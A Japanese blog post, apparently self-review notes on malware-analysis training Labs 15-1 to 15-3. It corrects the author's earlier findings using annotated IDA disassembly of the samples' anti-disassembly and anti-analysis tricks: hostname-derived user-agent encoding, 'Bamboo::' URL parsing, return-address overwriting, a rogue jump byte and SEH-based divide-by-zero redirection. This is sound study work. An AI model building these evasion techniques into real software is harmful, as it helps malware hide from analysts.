
Lab 15-1

自分の解析には以下の事柄が不足していた。

  • アンチ逆アセンブルの処理は合計4回ではなく、5回行われていた。数え間違い。

Lab 15-2

自分の解析には以下の事柄が不足していた。

ユーザーエージェントはホスト名から取られ、ホスト名にZ、z、9が含まれる場合はそれぞれA、a、0に置き換えられるという部分は合っていたが、それに加えてホスト名の文字をそれぞれ1ずつ加算していた。例えばホスト名がhogeだった場合、iphfという風に変換される。以下のコードにてホスト名の文字列の加算を行っている。

.text:0040111E                         loc_40111E:                             ; CODE XREF: .text:0040110C↑j
.text:0040111E 8B 95 60 FD FF FF                       mov     edx, [ebp-2A0h]
.text:00401124 8A 84 15 00 FF FF FF                    mov     al, [ebp+edx-100h] ; copys the each character of the hostname to al
.text:0040112B 04 01                                   add     al, 1           ; increment the character by 1
.text:0040112D 8B 8D 60 FD FF FF                       mov     ecx, [ebp-2A0h]
.text:00401133 88 84 0D 00 FF FF FF                    mov     [ebp+ecx-100h], al ; copys the incremented character to a buffer for hostname

Bamboo::の文字を目印にしてURLを抽出するという解析は概ね合っているが、より厳密にはBamboo::::の両タグの間からURLを抽出する。また終端の:: を 0 (Null)に置き換えることで文字列の終端としている。

Bamboo::http://example.com:: -> Bamboo::http://example.com\0

以下は該当のコードの抜粋。

.text:004011D5                         loc_4011D5:                             ; CODE XREF: .text:004011D2↑j
.text:004011D5 68 30 30 40 00                          push    offset aBamboo  ; "Bamboo::"
.text:004011DA 8D 95 60 FD FE FF                       lea     edx, [ebp-102A0h]
.text:004011E0 52                                      push    edx
.text:004011E1 FF 15 2C 20 40 00                       call    ds:strstr       ; check the first occurrence of "Bamboo::" within HTTP response
.text:004011E7 83 C4 08                                add     esp, 8
.text:004011EA 89 85 68 FD FF FF                       mov     [ebp-298h], eax
.text:004011F0 83 BD 68 FD FF FF 00                    cmp     dword ptr [ebp-298h], 0
.text:004011F7 0F 84 09 01 00 00                       jz      loc_401306
.text:004011FD 68 3C 30 40 00                          push    offset asc_40303C ; "::"
.text:00401202 8B 85 68 FD FF FF                       mov     eax, [ebp-298h]
.text:00401208 50                                      push    eax
.text:00401209 FF 15 2C 20 40 00                       call    ds:strstr       ; check the next occurrence of "::" after "Bamboo::"
.text:0040120F 83 C4 08                                add     esp, 8
.text:00401212 C6 00 00                                mov     byte ptr [eax], 0 ; replaces "::" with 0

Lab 15-3

自分の解析には以下の事柄が不足していた。

このマルウェアの冒頭には以下のコードが記述されていた。

.text:00401000 55                      push    ebp
.text:00401001 8B EC                   mov     ebp, esp
.text:00401003 81 EC 34 01 00 00       sub     esp, 134h
.text:00401009 53                      push    ebx
.text:0040100A 56                      push    esi
.text:0040100B 57                      push    edi
.text:0040100C B8 00 00 40 00          mov     eax, 400000h
.text:00401011 0D 8C 14 00 00          or      eax, 148Ch      ; The OR operation returns 0x40148C
.text:00401016 89 45 04                mov     [ebp+4], eax    ; ebp+4 points to the return address. Hence this mov instruction will overwrite the return address to 0x40148C
.text:00401019 68 50 30 40 00          push    offset Format   ; "TalonTech Consulting LLC.\n************"...
.text:0040101E E8 6B 05 00 00          call    printf

上記のコードはmain関数の戻りアドレスを0x40148Cに書き換えている。この戻りアドレスの書き換えによりmain関数が終了すると、アドレス0x40148Cに格納されているコードが実行される。アドレス0x40148Cのコードを辿っていくと、先述したSEH構造体の書き換えの命令に辿り着く。あとは自分が解析した通りである。

.text:0040148C 55                                      push    ebp
.text:0040148D 8B EC                                   mov     ebp, esp
.text:0040148F 53                                      push    ebx
.text:00401490 56                                      push    esi
.text:00401491 57                                      push    edi
.text:00401492 33 C0                                   xor     eax, eax
.text:00401494 74 01                                   jz      short loc_401497
.text:00401494                         ; ---------------------------------------------------------------------------
.text:00401496 E9                                      db 0E9h
.text:00401497                         ; ---------------------------------------------------------------------------
.text:00401497
.text:00401497                         loc_401497:                             ; CODE XREF: .text:00401494↑j
.text:00401497 68 C0 14 40 00                          push    offset MaliciousCode_4014C0 ; pointer to malicious excetion handler function
.text:0040149C 64 FF 35 00 00 00 00                    push    large dword ptr fs:0
.text:004014A3 64 89 25 00 00 00 00                    mov     large fs:0, esp
.text:004014AA 33 C9                                   xor     ecx, ecx
.text:004014AC F7 F1                                   div     ecx             ; division by zero will cause an exception
.text:004014AE 68 B4 33 40 00                          push    offset aForMoreInforma ; "For more information please visit our w"...
.text:004014B3 E8 D6 00 00 00                          call    printf

Leave a Reply

Your email address will not be published. Required fields are marked *